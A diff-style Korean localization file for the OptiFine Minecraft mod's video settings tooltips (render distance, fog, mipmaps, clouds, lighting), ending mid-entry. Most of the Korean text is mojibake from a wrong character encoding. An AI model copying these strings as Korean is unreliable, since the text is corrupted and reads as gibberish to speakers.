+options.graphics.tooltip.2= 빠르게 - ë‚®ì€ í’ˆì§ˆ, 빠름 +options.graphics.tooltip.3= 화려하게 - ë†’ì€ í’ˆì§ˆ, ëŠë¦¼ +options.graphics.tooltip.4=구름, 잎, 물, 그림ìž, í’€ì˜ +options.graphics.tooltip.5=ì™¸í˜•ì„ ë³€ê²½í•©ë‹ˆë‹¤. + +of.options.renderDistance.tiny=아주 작게 +of.options.renderDistance.short=짧게 +of.options.renderDistance.normal=보통 +of.options.renderDistance.far=멀리 +of.options.renderDistance.extreme=ê·¹ë„ + +options.renderDistance.tooltip.1=시야 거리 +options.renderDistance.tooltip.2= 2 아주 작게 - 32m (가장 빠름) +options.renderDistance.tooltip.3= 4 짧게 - 64m (빠름) +options.renderDistance.tooltip.4= 8 보통 - 128m +options.renderDistance.tooltip.5= 16 멀리 - 256m (ëŠë¦¼) +options.renderDistance.tooltip.6= 32 ê·¹ë„ - 512m (가장 ëŠë¦¼!) +options.renderDistance.tooltip.7=ê·¹ë„ ì‹œì•¼ 거리는 ìƒë‹¹í•œ ì„±ëŠ¥ì´ ìš”êµ¬ë©ë‹ˆë‹¤! +options.renderDistance.tooltip.8=16 멀리를 넘는 ê°’ì€ ë¡œì»¬ 세계ì—서만 효과가 있습니다. + +options.ao.tooltip.1=부드러운 조명 효과 +options.ao.tooltip.2= êº¼ì§ - 부드러운 조명 효과 ì—†ìŒ (빠름) +options.ao.tooltip.3= 최소 - 간단한 부드러운 조명 효과 (ëŠë¦¼) +options.ao.tooltip.4= 최대 - 복잡한 부드러운 조명 효과 (가장 ëŠë¦¼) + +options.framerateLimit.tooltip.1=최대 프레임률 +options.framerateLimit.tooltip.2= VSync - 모니터 프레임률로 제한 (60, 30, 20) +options.framerateLimit.tooltip.3= 5-255 - ì¡°ì ˆ 가능 +options.framerateLimit.tooltip.4= 무제한 - 제한 ì—†ìŒ (가장 빠름) +options.framerateLimit.tooltip.5=프레임률 ì œí•œì€ ì œí•œ ê°’ì— ë„달하지 ì•Šì•˜ì„ ë•Œë„ +options.framerateLimit.tooltip.6=FPS를 ê°ì†Œì‹œí‚µë‹ˆë‹¤. +of.options.framerateLimit.vsync=VSync + +of.options.AO_LEVEL=부드러운 조명 효과 레벨 +of.options.AO_LEVEL.tooltip.1=부드러운 조명 효과 레벨 +of.options.AO_LEVEL.tooltip.2= êº¼ì§ - ê·¸ë¦¼ìž ì—†ìŒ +of.options.AO_LEVEL.tooltip.3= 50%% - ì˜…ì€ ê·¸ë¦¼ìž +of.options.AO_LEVEL.tooltip.4= 100%% - ì§™ì€ ê·¸ë¦¼ìž + +options.viewBobbing.tooltip.1=ë” ì‚¬ì‹¤ì ì¸ 움ì§ìž„. +options.viewBobbing.tooltip.2=ë°‰ë§µì„ ì‚¬ìš©í•  ë•Œ 최ìƒì˜ 결과를 위해 ë°‰ë§µì„ êº¼ì§ìœ¼ë¡œ 설정하십시오. + +options.guiScale.tooltip.1=GUI í¬ê¸° +options.guiScale.tooltip.2= ìžë™ - 최대 í¬ê¸° +options.guiScale.tooltip.3= 작게, 보통, í¬ê²Œ - 1xì—ì„œ 3x까지 +options.guiScale.tooltip.4= 4xì—ì„œ 10x까지 - 4K 디스플레ì´ì—ì„œ 사용 가능 +options.guiScale.tooltip.5=홀수 ê°’(1x, 3x, 5x ...)ì€ ìœ ë‹ˆì½”ë“œì™€ 호환ë˜ì§€ 않습니다. +options.guiScale.tooltip.6=ìž‘ì€ GUIê°€ 빠를 수 있습니다. + +options.vbo=VBO 사용 +options.vbo.tooltip.1=ì •ì  ë²„í¼ ê°ì²´ +options.vbo.tooltip.2=기본 ë Œë”ë§ë³´ë‹¤ 보통 빠른 (5-10%%) +options.vbo.tooltip.3=다른 ë Œë”ë§ ëª¨ë¸ì„ 사용합니다. + +options.gamma.tooltip.1=ì–´ë‘ìš´ ë¬¼ì²´ì˜ ë°ê¸°ë¥¼ 바꿉니다. +options.gamma.tooltip.2= 어둡게 - 표준 ë°ê¸° +options.gamma.tooltip.3= 1-99%% - ì¡°ì ˆ 가능 +options.gamma.tooltip.4= ë°ê²Œ - ì–´ë‘ìš´ 물체를 최대 ë°ê¸°ë¡œ +options.gamma.tooltip.5=ì´ ì„¤ì •ì€ ì™„ì „ížˆ ê²€ì€ ë¬¼ì²´ì˜ ë°ê¸°ë¥¼ +options.gamma.tooltip.6=변경하지는 않습니다. + +options.anaglyph.tooltip.1=3D 애너글리프 +options.anaglyph.tooltip.2=양쪽 ëˆˆì— ë‹¤ë¥¸ 색ìƒì„ ì‚¬ìš©í•¨ìœ¼ë¡œì¨ +options.anaglyph.tooltip.3=ìž…ì²´ì ì¸ 3D 효과를 낼 수 있습니다. +options.anaglyph.tooltip.4=올바르게 보기 위해서는 ì ì²­ ì•ˆê²½ì´ í•„ìš”í•©ë‹ˆë‹¤. + +of.options.ALTERNATE_BLOCKS=대체 ë¸”ë¡ +of.options.ALTERNATE_BLOCKS.tooltip.1=대체 ë¸”ë¡ +of.options.ALTERNATE_BLOCKS.tooltip.2=몇몇 블ë¡ì— 대체 ë¸”ë¡ ëª¨ë¸ì„ 사용합니다. +of.options.ALTERNATE_BLOCKS.tooltip.3=ì„ íƒí•œ 리소스 íŒ©ì— ë”°ë¼ ë‹¬ë¼ì§‘니다. + +of.options.FOG_FANCY=안개 +of.options.FOG_FANCY.tooltip.1=안개 유형 +of.options.FOG_FANCY.tooltip.2= 빠르게 - 빠른 안개 +of.options.FOG_FANCY.tooltip.3= 화려하게 - ëŠë¦° 안개, 좋아 ë³´ìž„ +of.options.FOG_FANCY.tooltip.4= êº¼ì§ - 안개 ì—†ìŒ, 가장 빠름 +of.options.FOG_FANCY.tooltip.5=화려한 안개는 지ì›ë˜ëŠ” 그래픽 ì¹´ë“œì—서만 +of.options.FOG_FANCY.tooltip.6=사용할 수 있습니다. + +of.options.FOG_START=안개 시작 +of.options.FOG_START.tooltip.1=안개 시작 +of.options.FOG_START.tooltip.2= 0.2 - 안개가 플레ì´ì–´ 가까ì´ì—ì„œ 시작함 +of.options.FOG_START.tooltip.3= 0.8 - 안개가 플레ì´ì–´ì—ì„œ 멀리 떨어진 곳부터 시작함 +of.options.FOG_START.tooltip.4=ì´ ì„¤ì •ì€ ë³´í†µ ì„±ëŠ¥ì— ì˜í–¥ì„ 주지 않습니다. + +of.options.CHUNK_LOADING=ì²­í¬ ë¶ˆëŸ¬ì˜¤ê¸° +of.options.CHUNK_LOADING.tooltip.1=ì²­í¬ ë¶ˆëŸ¬ì˜¤ê¸° +of.options.CHUNK_LOADING.tooltip.2= 기본 - ì²­í¬ë¥¼ 불러올 ë•Œ 불안정한 FPS +of.options.CHUNK_LOADING.tooltip.3= 부드럽게 - 안정ì ì¸ FPS +of.options.CHUNK_LOADING.tooltip.4= 멀티코어 - 안정ì ì¸ FPS, 3ë°° 빠른 세계 불러오기 +of.options.CHUNK_LOADING.tooltip.5=부드럽게와 멀티코어는 ì²­í¬ë¥¼ 불러오는 중 ë°œìƒí•˜ëŠ” +of.options.CHUNK_LOADING.tooltip.6=버벅거림 ë° ë©ˆì¶¤ 현ìƒì„ 제거합니다. +of.options.CHUNK_LOADING.tooltip.7=멀티코어는 ë‘ ë²ˆì§¸ CPU를 사용하여 +of.options.CHUNK_LOADING.tooltip.8=3ë°° 빠르게 세계를 불러오고 FPS를 늘릴 수 있습니다. +of.options.chunkLoading.smooth=부드럽게 +of.options.chunkLoading.multiCore=멀티코어 + +of.options.shaders=ì…°ì´ë”... +of.options.shadersTitle=ì…°ì´ë” + +of.options.shaders.packNone=êº¼ì§ +of.options.shaders.packDefault=(내부) + +of.options.shaders.ANTIALIASING=안티ì—ì¼ë¦¬ì–´ì‹± +of.options.shaders.NORMAL_MAP=법선 맵 +of.options.shaders.SPECULAR_MAP=반사 맵 +of.options.shaders.RENDER_RES_MUL=ë Œë” í’ˆì§ˆ +of.options.shaders.SHADOW_RES_MUL=ê·¸ë¦¼ìž í’ˆì§ˆ +of.options.shaders.HAND_DEPTH_MUL=ì† ê¹Šì´ +of.options.shaders.CLOUD_SHADOW=구름 ê·¸ë¦¼ìž +of.options.shaders.OLD_HAND_LIGHT=구 ì† ì¡°ëª… +of.options.shaders.OLD_LIGHTING=구 조명 +of.options.shaders.SHADER_PACK=ì…°ì´ë” 팩 + +of.options.shaders.shadersFolder=ì…°ì´ë” í´ë” +of.options.shaders.shaderOptions=ì…°ì´ë” 설정... + +of.options.shaderOptionsTitle=ì…°ì´ë” 설정 + +of.options.quality=품질... +of.options.qualityTitle=품질 설정 + +of.options.details=세부... +of.options.detailsTitle=세부 설정 + +of.options.performance=성능... +of.options.performanceTitle=성능 설정 + +of.options.animations=애니메ì´ì…˜... +of.options.animationsTitle=애니메ì´ì…˜ 설정 + +of.options.other=기타... +of.options.otherTitle=기타 설정 + +of.options.other.reset=비디오 설정 초기화... + +of.shaders.profile=프로필 + +# Quality + +of.options.mipmap.bilinear=ìŒì„ í˜• +of.options.mipmap.linear=선형 +of.options.mipmap.nearest=가장 가까움 +of.options.mipmap.trilinear=삼선형 + +options.mipmapLevels.tooltip.1=세부 í…스처를 부드럽게 í•´ +options.mipmapLevels.tooltip.2=멀리 있는 물체를 ë” ì¢‹ì•„ ë³´ì´ê²Œ 하는 ì‹œê° íš¨ê³¼ìž…ë‹ˆë‹¤. +options.mipmapLevels.tooltip.3= êº¼ì§ - 부드러움 효과 ì—†ìŒ +options.mipmapLevels.tooltip.4= 1 - 최소 부드러움 효과 +options.mipmapLevels.tooltip.5= 4 - 최대 부드러움 효과 +options.mipmapLevels.tooltip.6=ì´ ì„¤ì •ì€ ì„±ëŠ¥ì— ì˜í–¥ì„ 주지 않습니다. + +of.options.MIPMAP_TYPE=밉맵 유형 +of.options.MIPMAP_TYPE.tooltip.1=세부 í…스처를 부드럽게 í•´ +of.options.MIPMAP_TYPE.tooltip.2=멀리 있는 물체를 ë” ì¢‹ì•„ ë³´ì´ê²Œ 하는 ì‹œê° íš¨ê³¼ìž…ë‹ˆë‹¤. +of.options.MIPMAP_TYPE.tooltip.3= 가장 가까움 - 거친 부드러움 효과 (가장 빠름) +of.options.MIPMAP_TYPE.tooltip.4= 선형 - 보통 부드러움 효과 +of.options.MIPMAP_TYPE.tooltip.5= ìŒì„ í˜• - ì¢‹ì€ ë¶€ë“œëŸ¬ì›€ 효과 +of.options.MIPMAP_TYPE.tooltip.6= 삼선형 - 가장 ì¢‹ì€ ë¶€ë“œëŸ¬ì›€ 효과 (가장 ëŠë¦¼) + + +of.options.AA_LEVEL=안티ì—ì¼ë¦¬ì–´ì‹± +of.options.AA_LEVEL.tooltip.1=안티ì—ì¼ë¦¬ì–´ì‹± +of.options.AA_LEVEL.tooltip.2= êº¼ì§ - (기본) 안티ì—ì¼ë¦¬ì–´ì‹± ì—†ìŒ (빠름) +of.options.AA_LEVEL.tooltip.3= 2-16 - ì„ ê³¼ 모서리를 안티ì—ì¼ë¦¬ì–´ì‹± (ëŠë¦¼) +of.options.AA_LEVEL.tooltip.4=안티ì—ì¼ë¦¬ì–´ì‹±ì€ ì‚죽ì‚죽한 ì„ ê³¼ +of.options.AA_LEVEL.tooltip.5=급격한 ìƒ‰ìƒ ë³€í™”ë¥¼ 부드럽게 합니다. +of.options.AA_LEVEL.tooltip.6=ì´ ê¸°ëŠ¥ì„ ì¼¤ 경우 FPSê°€ ìƒë‹¹ížˆ ê°ì†Œí•  수 있습니다. +of.options.AA_LEVEL.tooltip.7=모든 그래픽 카드가 모든 ë ˆë²¨ì„ ì§€ì›í•˜ì§€ëŠ” 않습니다. +of.options.AA_LEVEL.tooltip.8=재시작 후 ì ìš©ë©ë‹ˆë‹¤! + +of.options.AF_LEVEL=비등방성 í•„í„°ë§ +of.options.AF_LEVEL.tooltip.1=비등방성 í•„í„°ë§ +of.options.AF_LEVEL.tooltip.2= êº¼ì§ - (기본) 표준 세부 í…스처 (빠름) +of.options.AF_LEVEL.tooltip.3= 2-16 - ë°‰ë§µëœ í…스처ì—ì„œ ë” ë‚˜ì€ ì„¸ë¶€ í…스처 (ëŠë¦¼) +of.options.AF_LEVEL.tooltip.4=비등방성 í•„í„°ë§ì€ ë°‰ë§µëœ í…ìŠ¤ì²˜ì˜ +of.options.AF_LEVEL.tooltip.5=세부 ì–‘ì‹ì„ ë³µì›í•©ë‹ˆë‹¤. +of.options.AF_LEVEL.tooltip.6=ì´ ê¸°ëŠ¥ì„ ì¼¤ 경우 FPSê°€ ìƒë‹¹ížˆ ê°ì†Œí•  수 있습니다. + +of.options.CLEAR_WATER=ë§‘ì€ ë¬¼ +of.options.CLEAR_WATER.tooltip.1=ë§‘ì€ ë¬¼ +of.options.CLEAR_WATER.tooltip.2= ì¼œì§ - 맑고 투명한 물 +of.options.CLEAR_WATER.tooltip.3= êº¼ì§ - 기본 물 + +of.options.RANDOM_ENTITIES=무작위 몹 +of.options.RANDOM_ENTITIES.tooltip.1=무작위 몹 +of.options.RANDOM_ENTITIES.tooltip.2= êº¼ì§ - 무작위 몹 ì—†ìŒ, 빠름 +of.options.RANDOM_ENTITIES.tooltip.3= ì¼œì§ - 무작위 몹, ëŠë¦¼ +of.options.RANDOM_ENTITIES.tooltip.4=무작위 ëª¹ì€ ê²Œìž„ì˜ ìƒëª…ì²´ì— ë¬´ìž‘ìœ„ í…스처를 사용합니다. +of.options.RANDOM_ENTITIES.tooltip.5=ë‹¤ìˆ˜ì˜ ëª¹ í…스처가 있는 리소스 íŒ©ì´ í•„ìš”í•©ë‹ˆë‹¤. + +of.options.BETTER_GRASS=잔디 개선 +of.options.BETTER_GRASS.tooltip.1=잔디 개선 +of.options.BETTER_GRASS.tooltip.2= êº¼ì§ - 기본 측면 잔디 í…스처, 가장 빠름 +of.options.BETTER_GRASS.tooltip.3= 빠르게 - ì „ì²´ 측면 잔디 í…스처, ëŠë¦¼ +of.options.BETTER_GRASS.tooltip.4= 화려하게 - ë™ì  측면 잔디 í…스처, 가장 ëŠë¦¼ + +of.options.BETTER_SNOW=눈 개선 +of.options.BETTER_SNOW.tooltip.1=눈 개선 +of.options.BETTER_SNOW.tooltip.2= êº¼ì§ - 기본 눈, 빠름 +of.options.BETTER_SNOW.tooltip.3= ì¼œì§ - 눈 개선, ëŠë¦¼ +of.options.BETTER_SNOW.tooltip.4=투명한 블ë¡(울타리, í° ìž”ë””)ì´ ëˆˆ 블ë¡ê³¼ ì ‘í•  ë•Œ +of.options.BETTER_SNOW.tooltip.5=ëˆˆì„ íˆ¬ëª…í•œ ë¸”ë¡ ë°‘ì— ë³´ì´ê²Œ 합니다. + +of.options.CUSTOM_FONTS=맞춤 í°íŠ¸ +of.options.CUSTOM_FONTS.tooltip.1=맞춤 í°íŠ¸ +of.options.CUSTOM_FONTS.tooltip.2= ì¼œì§ - 맞춤 글꼴 사용 (기본), ëŠë¦¼ +of.options.CUSTOM_FONTS.tooltip.3= êº¼ì§ - 기본 글꼴 사용, 빠름 +of.options.CUSTOM_FONTS.tooltip.4=맞춤 í°íŠ¸ëŠ” 현재 리소스 íŒ©ì´ +of.options.CUSTOM_FONTS.tooltip.5=제공합니다. + +of.options.CUSTOM_COLORS=맞춤 색깔 +of.options.CUSTOM_COLORS.tooltip.1=맞춤 색깔 +of.options.CUSTOM_COLORS.tooltip.2= ì¼œì§ - 맞춤 색깔 사용 (기본), ëŠë¦¼ +of.options.CUSTOM_COLORS.tooltip.3= êº¼ì§ - 기본 색깔 사용, 빠름 +of.options.CUSTOM_COLORS.tooltip.4=맞춤 ìƒ‰ê¹”ì€ í˜„ìž¬ ë¦¬ì†ŒìŠ¤íŒ©ì´ +of.options.CUSTOM_COLORS.tooltip.5=제공합니다. + +of.options.SWAMP_COLORS=늪 색깔 +of.options.SWAMP_COLORS.tooltip.1=늪 색깔 +of.options.SWAMP_COLORS.tooltip.2= ì¼œì§ - 늪 색깔 사용 (기본), ëŠë¦¼ +of.options.SWAMP_COLORS.tooltip.3= êº¼ì§ - 늪 색깔 사용하지 ì•ŠìŒ, 빠름 +of.options.SWAMP_COLORS.tooltip.4=늪 ìƒ‰ê¹”ì€ ìž”ë””ì™€ 잎, ë©êµ´, ë¬¼ì— ì˜í–¥ì„ ì¤ë‹ˆë‹¤. + +of.options.SMOOTH_BIOMES=부드러운 ìƒë¬¼êµ°ê³„ +of.options.SMOOTH_BIOMES.tooltip.1=부드러운 ìƒë¬¼êµ°ê³„ +of.options.SMOOTH_BIOMES.tooltip.2= ì¼œì§ - ìƒë¬¼êµ°ê³„ 경계를 부드럽게 함 (기본), ëŠë¦¼ +of.options.SMOOTH_BIOMES.tooltip.3= êº¼ì§ - ìƒë¬¼êµ°ê³„ 경계를 부드럽게 하지 ì•ŠìŒ, 빠름 +of.options.SMOOTH_BIOMES.tooltip.4=주위 블ë¡ì˜ ìƒ‰ê¹”ì„ ìƒ˜í”Œë§í•˜ê³  í‰ê· í™”í•´ +of.options.SMOOTH_BIOMES.tooltip.5=ë°”ì´ì˜´ 경계를 부드럽게 합니다. +of.options.SMOOTH_BIOMES.tooltip.6=잔디, 잎, ë©êµ´ê³¼ ë¬¼ì— ì˜í–¥ì„ ì¤ë‹ˆë‹¤. + +of.options.CONNECTED_TEXTURES=í…스처 ì—°ê²° +of.options.CONNECTED_TEXTURES.tooltip.1=í…스처 ì—°ê²° +of.options.CONNECTED_TEXTURES.tooltip.2= êº¼ì§ - í…스처 ì—°ê²° ì—†ìŒ (기본) +of.options.CONNECTED_TEXTURES.tooltip.3= 빠르게 - 빠른 í…스처 ì—°ê²° +of.options.CONNECTED_TEXTURES.tooltip.4= 화려하게 - 화려한 í…스처 ì—°ê²° +of.options.CONNECTED_TEXTURES.tooltip.5=잔디와 사암, ì±…ìž¥ì´ ì„œë¡œì˜ ì˜†ì— ë†“ì¸ ê²½ìš° +of.options.CONNECTED_TEXTURES.tooltip.6=í…스처를 연결합니다. +of.options.CONNECTED_TEXTURES.tooltip.7=í…스처 ì—°ê²°ì€ +of.options.CONNECTED_TEXTURES.tooltip.8=현재 리소스 íŒ©ì´ ì œê³µí•©ë‹ˆë‹¤. + +of.options.NATURAL_TEXTURES=ìžì—°ìŠ¤ëŸ¬ìš´ í…스처 +of.options.NATURAL_TEXTURES.tooltip.1=ìžì—°ìŠ¤ëŸ¬ìš´ í…스처 +of.options.NATURAL_TEXTURES.tooltip.2= êº¼ì§ - ìžì—°ìŠ¤ëŸ¬ìš´ í…스처 ì—†ìŒ (기본) +of.options.NATURAL_TEXTURES.tooltip.3= ì¼œì§ - ìžì—°ìŠ¤ëŸ¬ìš´ í…스처 사용 +of.options.NATURAL_TEXTURES.tooltip.4=ìžì—°ìŠ¤ëŸ¬ìš´ í…스처는 ë™ì¼í•œ 블ë¡ì˜ 반복으로 ì¸í•´ +of.options.NATURAL_TEXTURES.tooltip.5=ìƒê¸°ëŠ” ê²©ìž ë¬´ëŠ¬ë¥¼ 제거합니다. +of.options.NATURAL_TEXTURES.tooltip.6=회전하거나 ë’¤ì§‘ì€ ê¸°ë³¸ ë¸”ë¡ í…스처 +of.options.NATURAL_TEXTURES.tooltip.7=ë³€ì¢…ì„ ì‚¬ìš©í•©ë‹ˆë‹¤. ìžì—°ìŠ¤ëŸ¬ìš´ í…ìŠ¤ì²˜ì˜ ì„¤ì •ì€ +of.options.NATURAL_TEXTURES.tooltip.8=현재 ë¦¬ì†ŒìŠ¤íŒ©ì´ ì œê³µí•©ë‹ˆë‹¤. + +of.options.CUSTOM_SKY=맞춤 하늘 +of.options.CUSTOM_SKY.tooltip.1=맞춤 하늘 +of.options.CUSTOM_SKY.tooltip.2= ì¼œì§ - 맞춤 하늘 í…스처 (기본), ëŠë¦¼ +of.options.CUSTOM_SKY.tooltip.3= êº¼ì§ - 기본 하늘, 빠름 +of.options.CUSTOM_SKY.tooltip.4=기본 하늘 í…스처는 현재 리소스 íŒ©ì´ +of.options.CUSTOM_SKY.tooltip.5=제공합니다. + +of.options.CUSTOM_ITEMS=맞춤 ì•„ì´í…œ +of.options.CUSTOM_ITEMS.tooltip.1=맞춤 ì•„ì´í…œ +of.options.CUSTOM_ITEMS.tooltip.2= ì¼œì§ - 맞춤 ì•„ì´í…œ í…스처 (기본), ëŠë¦¼ +of.options.CUSTOM_ITEMS.tooltip.3= êº¼ì§ - 기본 ì•„ì´í…œ í…스처, 빠름 +of.options.CUSTOM_ITEMS.tooltip.4=맞춤 ì•„ì´í…œ í…스처는 현재 ë¦¬ì†ŒìŠ¤íŒ©ì´ +of.options.CUSTOM_ITEMS.tooltip.5=제공합니다. + +of.options.CUSTOM_ENTITY_MODELS=맞춤 개체 ëª¨ë¸ +of.options.CUSTOM_ENTITY_MODELS.tooltip.1=맞춤 개체 ëª¨ë¸ +of.options.CUSTOM_ENTITY_MODELS.tooltip.2= ì¼œì§ - 맞춤 개체 ëª¨ë¸ (기본), ëŠë¦¼ +of.options.CUSTOM_ENTITY_MODELS.tooltip.3= êº¼ì§ - 기본 개체 모ë¸, 빠름 +of.options.CUSTOM_ENTITY_MODELS.tooltip.4=맞춤 개체 모ë¸ì€ 현재 ë¦¬ì†ŒìŠ¤íŒ©ì´ +of.options.CUSTOM_ENTITY_MODELS.tooltip.5=제공합니다. + +# Details + +of.options.CLOUDS=구름 +of.options.CLOUDS.tooltip.1=구름 +of.options.CLOUDS.tooltip.2= 기본 - 그래픽 설정대로 +of.options.CLOUDS.tooltip.3= 빠르게 - ë” ë‚®ì€ í’ˆì§ˆ, 빠름 +of.options.CLOUDS.tooltip.4= 화려하게 - ë” ë†’ì€ í’ˆì§ˆ, ëŠë¦¼ +of.options.CLOUDS.tooltip.5= êº¼ì§ - 구름 ì—†ìŒ, 가장 빠름 +of.options.CLOUDS.tooltip.6=빠르게 êµ¬ë¦„ì€ 2Dë¡œ ë Œë”ë©ë‹ˆë‹¤. +of.options.CLOUDS.tooltip.7=화려하게 êµ¬ë¦„ì€ 3Dë¡œ ë Œë”ë©ë‹ˆë‹¤. + +of.options.CLOUD_HEIGHT=구름 ë†’ì´ +of.options.CLOUD_HEIGHT.tooltip.1=구름 ë†’ì´ +of.options.CLOUD_HEIGHT.tooltip.2= êº¼ì§ - 기본 ë†’ì´ +of.options.CLOUD_HEIGHT.tooltip.3= 100%% - 세계 ë†’ì´ ì œí•œë³´ë‹¤ 위 + +of.options.TREES=나무 +of.options.TREES.tooltip.1=나무 +of.options.TREES.tooltip.2= 기본 - 그래픽 설정대로 +of.options.TREES.tooltip.3= 빠르게 - ë” ë‚®ì€ í’ˆì§ˆ, ë” ë¹ ë¦„ +of.options.TREES.tooltip.4= 멋지게 - ë” ë†’ì€ í’ˆì§ˆ, 빠름 +of.options.TREES.tooltip.5= 화려하게 - 가장 ë†’ì€ í’ˆì§ˆ, ëŠë¦¼ +of.options.TREES.tooltip.6=빠르게로 설정하면 ë‚˜ë­‡ìžŽì´ ë¶ˆíˆ¬ëª…í•´ì§‘ë‹ˆë‹¤. +of.options.TREES.tooltip.7=화려하게, 멋지게로 설정하면 ë‚˜ë­‡ìžŽì´ íˆ¬ëª…í•´ì§‘ë‹ˆë‹¤. + +of.options.RAIN=비와 눈 +of.options.RAIN.tooltip.1=비와 눈 +of.options.RAIN.tooltip.2= 기본 - 그래픽 설정대로 +of.options.RAIN.tooltip.3= 빠르게 - 약한 비/눈, 빠름 +of.options.RAIN.tooltip.4= 화려하게 - í° ë¹„/눈, ëŠë¦¼ +of.options.RAIN.tooltip.5= êº¼ì§ - 비와 눈 ì—†ìŒ, 가장 빠름 +of.options.RAIN.tooltip.6=비가 꺼ì§ì´ì—¬ë„ 비 튀김과 빗소리는 +of.options.RAIN.tooltip.7=여전히 있습니다. + +of.options.SKY=하늘 +of.options.SKY.tooltip.1=하늘 +of.options.SKY.tooltip.2= ì¼œì§ - í•˜ëŠ˜ì´ ë³´ìž„, ëŠë¦¼ +of.options.SKY.tooltip.3= êº¼ì§ - í•˜ëŠ˜ì´ ë³´ì´ì§€ ì•ŠìŒ, 빠름 +of.options.SKY.tooltip.4=í•˜ëŠ˜ì´ êº¼ì§ì´ì—¬ë„ 태양과 ë‹¬ì€ ì—¬ì „ížˆ 보입니다. + +of.options.STARS=별 +of.options.STARS.tooltip.1=별 +of.options.STARS.tooltip.2= ì¼œì§ - ë³„ì´ ë³´ìž„, ëŠë¦¼ +of.options.STARS.tooltip.3= êº¼ì§ - ë³„ì´ ë³´ì´ì§€ ì•ŠìŒ, 빠름 + +of.options.SUN_MOON=해와 달 +of.options.SUN_MOON.tooltip.1=해와 달 +of.options.SUN_MOON.tooltip.2= ì¼œì§ - 해와 ë‹¬ì´ ë³´ìž„ (기본) +of.options.SUN_MOON.tooltip.3= êº¼ì§ - 태양과 ë‹¬ì´ ë³´ì´ì§€ ì•ŠìŒ (빠름) + +of.options.SHOW_CAPES=ë§í†  표시 +of.options.SHOW_CAPES.tooltip.1=ë§í†  표시 +of.options.SHOW_CAPES.tooltip.2= ì¼œì§ - 플레ì´ì–´ ë§í†  표시 (기본) +of.options.SHOW_CAPES.tooltip.3= êº¼ì§ - 플레ì´ì–´ì˜ ë§í†  표시 안 함 + +of.options.TRANSLUCENT_BLOCKS=반투명 ë¸”ë¡ +of.options.TRANSLUCENT_BLOCKS.tooltip.1=반투명 ë¸”ë¡ +of.options.TRANSLUCENT_BLOCKS.tooltip.2= 화려하게 - 정확한 색깔 혼합 (기본) +of.options.TRANSLUCENT_BLOCKS.tooltip.3= 빠르게 - 빠른 색깔 혼합 (빠름) +of.options.TRANSLUCENT_BLOCKS.tooltip.4=다른 ìƒ‰ê¹”ì˜ ë°˜íˆ¬ëª… 블ë¡(ì—¼ìƒ‰ëœ ìœ ë¦¬, 물, ì–¼ìŒ)ì´ +of.options.TRANSLUCENT_BLOCKS.tooltip.5=공기를 사ì´ì— ë‘ê³  ë†“ì˜€ì„ ë•Œì˜ +of.options.TRANSLUCENT_BLOCKS.tooltip.6=ìƒ‰ìƒ í˜¼í•©ì„ ì¡°ì •í•©ë‹ˆë‹¤. + +of.options.HELD_ITEM_TOOLTIPS=ì†ì— ë“  ì•„ì´í…œ 설명 +of.options.HELD_ITEM_TOOLTIPS.tooltip.1=ì†ì— ë“  ì•„ì´í…œ 설명 +of.options.HELD_ITEM_TOOLTIPS.tooltip.2= ì¼œì§ - ì†ì— 들고 있는 ì•„ì´í…œì˜ 설명 표시 (기본) +of.options.HELD_ITEM_TOOLTIPS.tooltip.3= êº¼ì§ - ì†ì— 들고 있는 ì•„ì´í…œì˜ 설명 표시 안 함 + +of.options.ADVANCED_TOOLTIPS=고급 설명 +of.options.ADVANCED_TOOLTIPS.tooltip.1=고급 설명 +of.options.ADVANCED_TOOLTIPS.tooltip.2= ì¼œì§ - 고급 설명 표시 +of.options.ADVANCED_TOOLTIPS.tooltip.3= êº¼ì§ - 고급 설명 표시 안 함 (기본) +of.options.ADVANCED_TOOLTIPS.tooltip.4=고급 ì„¤ëª…ì€ ì•„ì´í…œ(id, 내구ë„)ê³¼ +of.options.ADVANCED_TOOLTIPS.tooltip.5=ì…°ì´ë” 설정(ID, 출처, 기본 ê°’)ì˜ +of.options.ADVANCED_TOOLTIPS.tooltip.6=확장 정보를 표시합니다. + +of.options.DROPPED_ITEMS=떨어진 ì•„ì´í…œ +of.options.DROPPED_ITEMS.tooltip.1=떨어진 ì•„ì´í…œ +of.options.DROPPED_ITEMS.tooltip.2= 기본 - 그래픽 설정대로 +of.options.DROPPED_ITEMS.tooltip.3= 빠르게 - 2D 떨어진 ì•„ì´í…œ, 빠름 +of.options.DROPPED_ITEMS.tooltip.4= 화려하게 - 3D 떨어진 ì•„ì´í…œ, ëŠë¦¼ + +options.entityShadows.tooltip.1=개체 ê·¸ë¦¼ìž +options.entityShadows.tooltip.2= ì¼œì§ - 개체 ê·¸ë¦¼ìž í‘œì‹œ +options.entityShadows.tooltip.3= êº¼ì§ - 개체 ê·¸ë¦¼ìž í‘œì‹œ 안 함 + +of.options.VIGNETTE=비네팅 +of.options.VIGNETTE.tooltip.1=화면 모서리를 ì‚´ì§ ì–´ë‘¡ê²Œ 하는 ì‹œê° íš¨ê³¼ +of.options.VIGNETTE.tooltip.2= 기본 - 그래픽 설정대로 (기본) +of.options.VIGNETTE.tooltip.3= 빠르게 - 비네팅 비활성화 (빠름) +of.options.VIGNETTE.tooltip.4= 화려하게 - 비네팅 활성화 (ëŠë¦¼) +of.options.VIGNETTE.tooltip.5=ë¹„ë„¤íŒ…ì€ FPSì— ì»¤ë‹¤ëž€ ì˜í–¥ì„, 특히 ì „ì²´ 화면으로 +of.options.VIGNETTE.tooltip.6=플레ì´í•  ë•Œ, 줄 수 있습니다. +of.options.VIGNETTE.tooltip.7=비네팅 효과는 미세하며 안전히 비활성화할 +of.options.VIGNETTE.tooltip.8=수 있습니다. + +of.options.DYNAMIC_FOV=ë™ì  FOV +of.options.DYNAMIC_FOV.tooltip.1=ë™ì  FOV +of.options.DYNAMIC_FOV.tooltip.2= ì¼œì§ - ë™ì  FOV 활성화 (기본) +of.options.DYNAMIC_FOV.tooltip.3= êº¼ì§ - ë™ì  FOV 비활성화 +of.options.DYNAMIC_FOV.tooltip.4=날거나, 달리거나, í™œì„ ë‹¹ê¸¸ ë•Œ +of.options.DYNAMIC_FOV.tooltip.5=시야(FOV)를 바꿉니다. + +of.options.DYNAMIC_LIGHTS=ë™ì  조명 +of.options.DYNAMIC_LIGHTS.tooltip.1=ë™ì  조명 +of.options.DYNAMIC_LIGHTS.tooltip.2= êº¼ì§ - ë™ì  조명 ì—†ìŒ (기본) +of.options.DYNAMIC_LIGHTS.tooltip.3= 빠르게 - 빠른 ë™ì  조명 (500ms마다 갱신) +of.options.DYNAMIC_LIGHTS.tooltip.4= 화려하게 - 화려한 